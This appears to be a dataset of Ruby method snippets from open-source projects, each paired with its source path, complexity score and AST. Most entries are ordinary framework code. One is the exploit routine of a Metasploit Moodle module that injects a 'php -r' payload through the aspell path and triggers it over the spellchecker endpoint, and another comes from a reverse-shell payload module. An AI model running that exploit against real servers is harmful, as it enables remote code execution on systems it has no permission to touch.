end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_member_on_loaded_relation_with_match\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"customers\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"David\"]}]}]}]},\"load\"]}]},{\"type\":\"lvasgn\",\"children\":[\"david\",{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"customers\"]},\"member?\",{\"type\":\"lvar\",\"children\":[\"david\"]}]}]}]}]}]}","id":"016816ae-7af1-4ba4-b87d-7bda20f5a73c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/data_builder/issuable.rb","start_line":37,"raw_source":"def safe_keys\n        issuable_builder.safe_hook_attributes + issuable_builder.safe_hook_relations\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"safe_keys\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issuable_builder\"]},\"safe_hook_attributes\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issuable_builder\"]},\"safe_hook_relations\"]}]}]}","id":"b358286a-fc52-4f6c-8a29-6befbb2d8aa6"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/tracker/library.rb","start_line":10,"raw_source":"def initialize name, parent, file_name, src, tracker\n      super\n      initialize_controller\n      initialize_model\n      @collection = tracker.libs\n    end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"parent\"]},{\"type\":\"arg\",\"children\":[\"file_name\"]},{\"type\":\"arg\",\"children\":[\"src\"]},{\"type\":\"arg\",\"children\":[\"tracker\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"initialize_controller\"]},{\"type\":\"send\",\"children\":[null,\"initialize_model\"]},{\"type\":\"ivasgn\",\"children\":[\"@collection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"libs\"]}]}]}]}","id":"5839a93e-275b-4926-88e2-6c51312ad12c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/migration.rb","start_line":1444,"raw_source":"def current_version\n      migrated.max || 0\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"current_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migrated\"]},\"max\"]},{\"type\":\"int\",\"children\":[0]}]}]}","id":"16340c7b-2fa5-401b-863f-8f1da511e3ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/fix_usernamespace_audit_events.rb","start_line":32,"raw_source":"def quote_values(events)\n        events.map do |event|\n          quoted_event = event.map do |e|\n            if e.is_a?(IPAddr)\n              connection.quote(e.to_s)\n            else\n              connection.quote(e)\n            end\n          end\n          \"(#{quoted_event.join(', ')})\"\n        end.join(', ')\n      end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"quote_values\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"events\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"quoted_event\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"IPAddr\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"quote\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"quote\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quoted_event\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}","id":"ad7dfdfa-c3ef-49f1-b33f-8fccc088e5d3"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/embedded_automation_manager/crud_common.rb","start_line":95,"raw_source":"def encrypt_queue_params(params)\n    self.class.encrypt_queue_params(params)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encrypt_queue_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"encrypt_queue_params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}","id":"883b13a0-f659-45ff-9d91-5ccfbd757bd6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cache/json_cache.rb","start_line":72,"raw_source":"def parse_value(value, klass)\n        case value\n        when Hash then parse_entry(value, klass)\n        when Array then parse_entries(value, klass)\n        else\n          value\n        end\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"send\",\"children\":[null,\"parse_entry\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"send\",\"children\":[null,\"parse_entries\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"a3a5209d-e846-4042-b6a0-a50f6f75ef94"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/registry.rb","start_line":84,"raw_source":"def without_department(department)\n        clear_enrollment_queue\n        without_department = @departments.dup\n        without_department.delete(department)\n\n        with(without_department.values.flatten)\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"without_department\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"department\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"clear_enrollment_queue\"]},{\"type\":\"lvasgn\",\"children\":[\"without_department\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@departments\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"without_department\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"department\"]}]},{\"type\":\"send\",\"children\":[null,\"with\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"without_department\"]},\"values\"]},\"flatten\"]}]}]}]}","id":"db50a9b1-19a4-4e74-aabb-983bbc89b3e9"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/path_set.rb","start_line":40,"raw_source":"def find(path, prefixes, partial, details, details_key, locals)\n      find_all(path, prefixes, partial, details, details_key, locals).first ||\n        raise(MissingTemplate.new(self, path, prefixes, partial, details, details_key, locals))\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"find\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"prefixes\"]},{\"type\":\"arg\",\"children\":[\"partial\"]},{\"type\":\"arg\",\"children\":[\"details\"]},{\"type\":\"arg\",\"children\":[\"details_key\"]},{\"type\":\"arg\",\"children\":[\"locals\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_all\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"prefixes\"]},{\"type\":\"lvar\",\"children\":[\"partial\"]},{\"type\":\"lvar\",\"children\":[\"details\"]},{\"type\":\"lvar\",\"children\":[\"details_key\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]},\"first\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MissingTemplate\"]},\"new\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"prefixes\"]},{\"type\":\"lvar\",\"children\":[\"partial\"]},{\"type\":\"lvar\",\"children\":[\"details\"]},{\"type\":\"lvar\",\"children\":[\"details_key\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]}]}]}]}","id":"c458498d-0971-4e7a-a749-0cd5b9cfb7bc"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/schema_dumper_test.rb","start_line":98,"raw_source":"def test_arguments_no_line_up\n    column_definition_lines.each do |column_set|\n      assert_no_line_up(column_set, /default: /)\n      assert_no_line_up(column_set, /limit: /)\n      assert_no_line_up(column_set, /null: /)\n    end\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_arguments_no_line_up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_definition_lines\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_line_up\",{\"type\":\"lvar\",\"children\":[\"column_set\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"default: \"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_line_up\",{\"type\":\"lvar\",\"children\":[\"column_set\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"limit: \"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_line_up\",{\"type\":\"lvar\",\"children\":[\"column_set\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"null: \"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}]}","id":"5bb2dc0c-5e07-4f42-9ac4-b8eb627c632e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build_trace_chunks/database.rb","start_line":38,"raw_source":"def delete_data(model)\n        model.update_columns(raw_data: nil) unless model.raw_data.nil?\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_data\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"raw_data\"]},\"nil?\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"update_columns\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw_data\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]}]}","id":"c50b9a4b-4e0b-44e3-af9b-7b1455ce8f3d"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/poll_serializer.rb","start_line":19,"raw_source":"def expired\n    object.expired?\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expired\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"expired?\"]}]}","id":"012c40b2-eb1a-4c45-92fe-c964ceb0ea41"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/helpers/application_helper_spec.rb","start_line":54,"raw_source":"def stub_controller_name(value)\n      allow(helper.controller).to receive(:controller_name).and_return(value)\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_controller_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"helper\"]},\"controller\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"controller_name\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}","id":"970ee0d9-2d9b-404e-aa00-7f0c68d4dcda"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/queries/sort_bys/sort_by_decorator.rb","start_line":69,"raw_source":"def direction_l10n\n            I18n.t(direction == \"desc\" ? :label_descending : :label_ascending)\n          end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"direction_l10n\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"direction\"]},\"==\",{\"type\":\"str\",\"children\":[\"desc\"]}]},{\"type\":\"sym\",\"children\":[\"label_descending\"]},{\"type\":\"sym\",\"children\":[\"label_ascending\"]}]}]}]}","id":"7aed7a0f-8bed-4a33-8609-ae45b0f83ab5"}
{"repo_name":"haml","file_path":"./repos/haml/lib/haml/parser.rb","start_line":816,"raw_source":"def is_multiline?(text)\n      text && text.length > 1 && text[-1] == MULTILINE_CHAR_VALUE && text[-2] == ?\\s && text !~ BLOCK_WITH_SPACES\n    end","complexity_score":15.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_multiline?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"==\",{\"type\":\"const\",\"children\":[null,\"MULTILINE_CHAR_VALUE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"[]\",{\"type\":\"int\",\"children\":[-2]}]},\"==\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"!~\",{\"type\":\"const\",\"children\":[null,\"BLOCK_WITH_SPACES\"]}]}]}]}","id":"a4062e5b-23f1-44e1-9469-e9a05c804d6f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/values/time_zone.rb","start_line":274,"raw_source":"def load_country_zones(code)\n          country = TZInfo::Country.get(code)\n          country.zone_identifiers.flat_map do |tz_id|\n            if MAPPING.value?(tz_id)\n              MAPPING.inject([]) do |memo, (key, value)|\n                memo << self[key] if value == tz_id\n                memo\n              end\n            else\n              create(tz_id, nil, TZInfo::Timezone.get(tz_id))\n            end\n          end.sort!\n        end","complexity_score":27.9,"ast_json":"{\"type\":\"def\",\"children\":[\"load_country_zones\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"country\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TZInfo\"]},\"Country\"]},\"get\",{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"country\"]},\"zone_identifiers\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tz_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAPPING\"]},\"value?\",{\"type\":\"lvar\",\"children\":[\"tz_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAPPING\"]},\"inject\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"memo\"]},{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"tz_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"memo\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"memo\"]}]}]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"lvar\",\"children\":[\"tz_id\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TZInfo\"]},\"Timezone\"]},\"get\",{\"type\":\"lvar\",\"children\":[\"tz_id\"]}]}]}]}]},\"sort!\"]}]}]}","id":"39cac0b4-b0f9-40c5-ba71-56168d43f2af"}
{"repo_name":"forem","file_path":"./repos/forem/db/migrate/20241122200310_add_sign_in_token_to_users.rb","start_line":2,"raw_source":"def change\n    add_column :users, :sign_in_token, :string\n    add_column :users, :sign_in_token_sent_at, :datetime\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"sign_in_token\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"users\"]},{\"type\":\"sym\",\"children\":[\"sign_in_token_sent_at\"]},{\"type\":\"sym\",\"children\":[\"datetime\"]}]}]}]}","id":"4e683052-613e-4edd-84d0-c43867c04e62"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/snippets/bulk_destroy_service.rb","start_line":25,"raw_source":"def initialize(user, snippets)\n      @current_user = user\n      @snippets = snippets\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"snippets\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@snippets\",{\"type\":\"lvar\",\"children\":[\"snippets\"]}]}]}]}","id":"2a347e7e-5b03-4ba5-a5b6-7d13cdc36b15"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/health_checks/redis/redis_abstract_check.rb","start_line":9,"raw_source":"def check_up\n          successful?(check)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"check_up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"successful?\",{\"type\":\"send\",\"children\":[null,\"check\"]}]}]}","id":"bca21d52-a41e-47cf-b9e0-83082017380e"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/swagger_helper.rb","start_line":13,"raw_source":"def load_spec_schema(name)\n  SpecSchemas::SpecLoader.new(name).load\nend","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load_spec_schema\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SpecSchemas\"]},\"SpecLoader\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"load\"]}]}","id":"7f1e1122-7820-4d52-a79b-86a1636028ea"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/moodle_spelling_path_rce.rb","start_line":142,"raw_source":"def exploit\n    print_status(\"Authenticating as user: #{datastore['USERNAME']}\")\n    cookies = moodle_login(datastore['USERNAME'], datastore['PASSWORD'])\n    fail_with(Failure::NoAccess, 'Unable to login. Check credentials') if cookies.nil? || cookies.empty?\n    cookies.each do |cookie|\n      cookie_jar.add(cookie)\n    end\n    print_status('Updating aspell path')\n    # Site administration, Server, Server, System paths\n    change_aspellpath(\"`php -r \\\"#{payload.encoded}\\\" &`\")\n\n    print_status('Changing spell engine to PSpellShell')\n    set_spellchecker('PSpellShell')\n    # Administration, Plugins, Text editors, TinyMCE HTML editor, Legacy Spell Checker\n    spellcheck = '{\"id\":\"c0\",\"method\":\"checkWords\",\"params\":[\"en\",[\"\"]]}'\n\n    print_status('Triggering payload')\n\n    res = send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'lib', 'editor', 'tinymce', 'plugins', 'spellchecker', 'rpc.php'),\n      'data' => spellcheck,\n      'ctype' => 'application/json',\n      'keep_cookies' => true\n    })\n\n    fail_with(Failure::Unreachable, 'Error triggering payload') if res\n  end","complexity_score":37.4,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Authenticating as user: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cookies\",{\"type\":\"send\",\"children\":[null,\"moodle_login\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"empty?\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"str\",\"children\":[\"Unable to login. Check credentials\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cookies\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cookie\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookie_jar\"]},\"add\",{\"type\":\"lvar\",\"children\":[\"cookie\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Updating aspell path\"]}]},{\"type\":\"send\",\"children\":[null,\"change_aspellpath\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"`php -r \\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"str\",\"children\":[\"\\\" &`\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Changing spell engine to PSpellShell\"]}]},{\"type\":\"send\",\"children\":[null,\"set_spellchecker\",{\"type\":\"str\",\"children\":[\"PSpellShell\"]}]},{\"type\":\"lvasgn\",\"children\":[\"spellcheck\",{\"type\":\"str\",\"children\":[\"{\\\"id\\\":\\\"c0\\\",\\\"method\\\":\\\"checkWords\\\",\\\"params\\\":[\\\"en\\\",[\\\"\\\"]]}\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Triggering payload\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"lib\"]},{\"type\":\"str\",\"children\":[\"editor\"]},{\"type\":\"str\",\"children\":[\"tinymce\"]},{\"type\":\"str\",\"children\":[\"plugins\"]},{\"type\":\"str\",\"children\":[\"spellchecker\"]},{\"type\":\"str\",\"children\":[\"rpc.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"spellcheck\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"str\",\"children\":[\"Error triggering payload\"]}]},null]}]}]}","id":"f0f700bb-aeb5-4219-a996-971d8a7cf57b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb","start_line":67,"raw_source":"def generate(_opts = {})\n    super + command_string\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"generate\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"+\",{\"type\":\"send\",\"children\":[null,\"command_string\"]}]}]}","id":"629d6bf4-b071-4a42-ad15-1b09196b818e"}
{"repo_name":"hanami","file_path":"./repos/hanami/lib/hanami/providers/routes.rb","start_line":19,"raw_source":"def start\n        # Register a lazy instance of RoutesHelper to ensure we don't load prematurely load the\n        # router during the process of booting. This ensures the router's resolver can run strict\n        # action key checks once when it runs on a fully booted slice.\n        register :routes do\n          Hanami::Slice::RoutesHelper.new(slice.router)\n        end\n      